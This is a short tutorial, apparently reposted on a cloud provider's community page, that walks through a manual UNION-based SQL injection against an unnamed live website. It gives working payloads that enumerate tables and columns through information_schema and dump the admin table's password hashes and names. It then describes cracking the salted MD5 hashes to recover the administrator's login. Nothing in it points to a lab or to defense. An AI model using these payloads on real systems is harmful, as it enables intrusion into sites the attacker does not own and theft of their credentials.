MySQL Manual injection

Source: Internet
Author: User

Today want to actually do a MySQL manual injection, so found a site such as xxx

First add an ' error ' after the URL, indicating that this site may contain SQL injection vulnerabilities and can be tested in the next step

The goal is to see if we can just burst the username and password first by looking at the number of fields in order by

Using and 1=2 Union SELECT 1,2,GROUP_CONCAT (table_name), 4,5,6,7,8 from information_schema.tables where Table_schema = Database () Take a try and see if you can burst the table name

The main thing here is that the metabase inside MySQL

After executing this statement can see the admin table, the password is not far away

Use this statement to see what's inside the admin table. Here's the last table_name to use HEX.

and 1=2 Union Select 1,group_concat (column_name), 3,4,5,6,7,8 from information_schema.columns where table_name = 0x61646d696e

After executing this statement, we find that the Admin table has fields related to the username and password, then we look at the contents of the fields under the Admin table and the user name password.

To use a statement:

and 1=2 Union Select 1,group_concat (Admin_password), 3,4,5,6,7,8 from admin

and 1=2 Union Select 1,group_concat (admin_firstname), 3,4,5,6,7,8 from admin

and 1=2 Union Select 1,group_concat (admin_lastname), 3,4,5,6,7,8 from admin

The user name for this site is stored in two fields, which need to be stitched up after the burst

The important thing is that the password is three, two MD5 ($password, $salt), a MD5, the next is to find the site to solve the three, the site's administrator user name password by hand injection method burst out.


MySQL Manual injection

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.